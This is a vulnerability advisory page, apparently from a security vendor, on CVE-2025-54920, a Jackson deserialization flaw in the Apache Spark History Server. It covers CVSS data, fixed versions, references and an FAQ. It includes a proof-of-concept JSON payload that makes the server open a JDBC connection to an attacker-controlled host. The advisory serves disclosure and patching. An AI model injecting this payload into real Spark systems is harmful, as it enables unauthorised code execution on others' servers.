CVE-2025-54920: Apache Spark remote code execution (CVSS 8.8)

Description

This issue affects Apache Spark: before 3.5.7 and 4.0.1. Users are recommended to upgrade to version 3.5.7 or 4.0.1 and above, which fixes the issue. Summary Apache Spark 3.5.4 and earlier versions contain a code execution vulnerability in the Spark History Web UI due to overly permissive Jackson deserialization of event log data. This allows an attacker with access to the Spark event logs directory to inject malicious JSON payloads that trigger deserialization of arbitrary classes, enabling command execution on the host running the Spark History Server. Details The vulnerability arises because the Spark History Server uses Jackson polymorphic deserialization with @JsonTypeInfo.Id.CLASS on SparkListenerEvent objects, allowing an attacker to specify arbitrary class names in the event JSON. This behavior permits instantiating unintended classes, such as org.apache.hive.jdbc.HiveConnection, which can perform network calls or other malicious actions during deserialization. The attacker can exploit this by injecting crafted JSON content into the Spark event log files, which the History Server then deserializes on startup or when loading event logs. For example, the attacker can force the History Server to open a JDBC connection to a remote attacker-controlled server, demonstrating remote command injection capability. Proof of Concept: 1. Run Spark with event logging enabled, writing to a writable directory (spark-logs). 2. Inject the following JSON at the beginning of an event log file: { "Event": "org.apache.hive.jdbc.HiveConnection", "uri": "jdbc:hive2://<IP>:<PORT>/", "info": { "hive.metastore.uris": "thrift://<IP>:<PORT>" } } 3. Start the Spark History Server with logs pointing to the modified directory. 4. The Spark History Server initiates a JDBC connection to the attacker’s server, confirming the injection. Impact An attacker with write access to Spark event logs can execute arbitrary code on the server running the History Server, potentially compromising the entire system.

CVSS 3.1 breakdown

Attack vectorNetwork

Attack complexityLow

Privileges requiredLow

User interactionNone

ScopeUnchanged

ConfidentialityHigh

IntegrityHigh

AvailabilityHigh

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Affected products

Apache Spark< 3.5.7 · 4.0.0 · 4.0.1

Remediation

Fixed in

Apache Spark≥ 3.5.7

Patch & vendor advisories

https://lists.apache.org/thread/4y9n0nfj7m68o2hpmoxgc0y7dm1lo02s

References

https://github.com/apache/spark/pull/51312Issue Tracking
https://github.com/apache/spark/pull/51323Issue Tracking
https://issues.apache.org/jira/browse/SPARK-52381Issue Tracking
https://lists.apache.org/thread/4y9n0nfj7m68o2hpmoxgc0y7dm1lo02sMitigationVendor AdvisoryExploit
http://www.openwall.com/lists/oss-security/2026/03/13/4Mailing ListThird Party AdvisoryExploit

Related CVEs

Recent high-severity vulnerabilities sharing a weakness type.

Frequently asked

Is CVE-2025-54920 being actively exploited?

CVE-2025-54920 is not in the CISA KEV catalog. A public exploit reference exists, so treat it as exploitable. Its EPSS exploit probability is 5.34%.

How severe is CVE-2025-54920?

CVE-2025-54920 has a CVSS 3.1 base score of 8.8, rated high. EPSS estimates a 5.34% probability of exploitation.

Which products are affected by CVE-2025-54920?

Affected products include Apache Spark.

How do I fix CVE-2025-54920?

Upgrade affected software to a fixed version, for example Apache Spark 3.5.7 or later, then confirm no affected versions remain in your inventory.

How Secuno handles this

Secuno correlates vulnerabilities like CVE-2025-54920 against the real software inventory on every managed device, every day. Rather than a static severity, each match is scored in context: exploit availability, EPSS, the asset's exposure, and business criticality decide where it lands in the queue. If an affected version is present anywhere across your portfolio, it surfaces automatically with a prioritised remediation path.

See how prioritisation works Book a demo